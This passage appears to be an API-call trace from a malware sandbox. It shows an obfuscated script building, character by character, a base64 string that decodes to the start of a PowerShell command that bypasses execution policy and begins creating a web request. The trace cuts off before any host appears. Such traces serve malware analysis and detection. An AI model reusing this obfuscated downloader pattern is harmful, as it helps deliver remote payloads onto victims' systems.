pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.781] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.782] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.783] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.783] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.783] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.783] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.783] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.783] VarAnd (in: pvarLeft=0x697b070, pvarRight=0x697b058, pvarResult=0x697b040 | out: pvarResult=0x697b040) returned 0x0 [0053.783] VarDiv (in: pvarLeft=0x697b040, pvarRight=0x697b028, pvarResult=0x697b010 | out: pvarResult=0x697b010) returned 0x0 [0053.783] VarAdd (in: pvarLeft=0x697b100, pvarRight=0x697b010, pvarResult=0x697aff8 | out: pvarResult=0x697aff8) returned 0x0 [0053.783] VarBstrCat (in: bstrLeft=0x0, bstrRight="v", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.783] VarBstrCat (in: bstrLeft="v", bstrRight="a", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.783] VarBstrCat (in: bstrLeft="va", bstrRight="r", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.783] VarBstrCat (in: bstrLeft="var", bstrRight=" ", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.783] VarBstrCat (in: bstrLeft="var ", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.783] VarBstrCat (in: bstrLeft="var c", bstrRight="=", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.783] VarBstrCat (in: bstrLeft="var c=", bstrRight="'", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.783] VarBstrCat (in: bstrLeft="var c='", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='c", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG", bstrRight="9", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG9", bstrRight="3", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93Z", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93ZX", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93ZXJ", bstrRight="z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93ZXJz", bstrRight="a", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93ZXJza", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaG", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGV", bstrRight="s", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVs", bstrRight="b", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsb", bstrRight="C", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbC", bstrRight="A", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCA", bstrRight="t", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAt", bstrRight="b", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtb", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm", bstrRight="9", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9", bstrRight="w", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.784] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9w", bstrRight="I", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wI", bstrRight="C", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1l", bstrRight="e", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1le", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leG", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGV", bstrRight="j", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVj", bstrRight="I", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjI", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIG", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ", bstrRight="5", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5c", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cG", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGF", bstrRight="z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFz", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzc", bstrRight="y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcy", bstrRight="A", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.785] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyA", bstrRight="t", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAt", bstrRight="Y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtY", bstrRight="y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYy", bstrRight="A", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyA", bstrRight="i", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAi", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJ", bstrRight="H", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJH", bstrRight="I", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI", bstrRight="9", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W", bstrRight="1", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N", bstrRight="5", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c", bstrRight="3", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3R", bstrRight="l", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3Rl", bstrRight="b", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3Rlb", bstrRight="S", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS", bstrRight="5", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5", bstrRight="O", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.786] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5O", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZ", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZX", bstrRight="Q", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQ", bstrRight="u", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQu", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV", bstrRight="2", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2V", bstrRight="i", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2Vi", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViU", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUm", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmV", bstrRight="x", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVx", bstrRight="d", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxd", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdW", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWV", bstrRight="z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVz", bstrRight="d", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzd", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF", bstrRight="0", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF0", bstrRight="6", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06", bstrRight="O", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06O", bstrRight="k", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.787] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06Ok", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkN", bstrRight="y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNy", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZ", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZW", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.788] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF", bstrRight="0", pbstrResult=0x126760 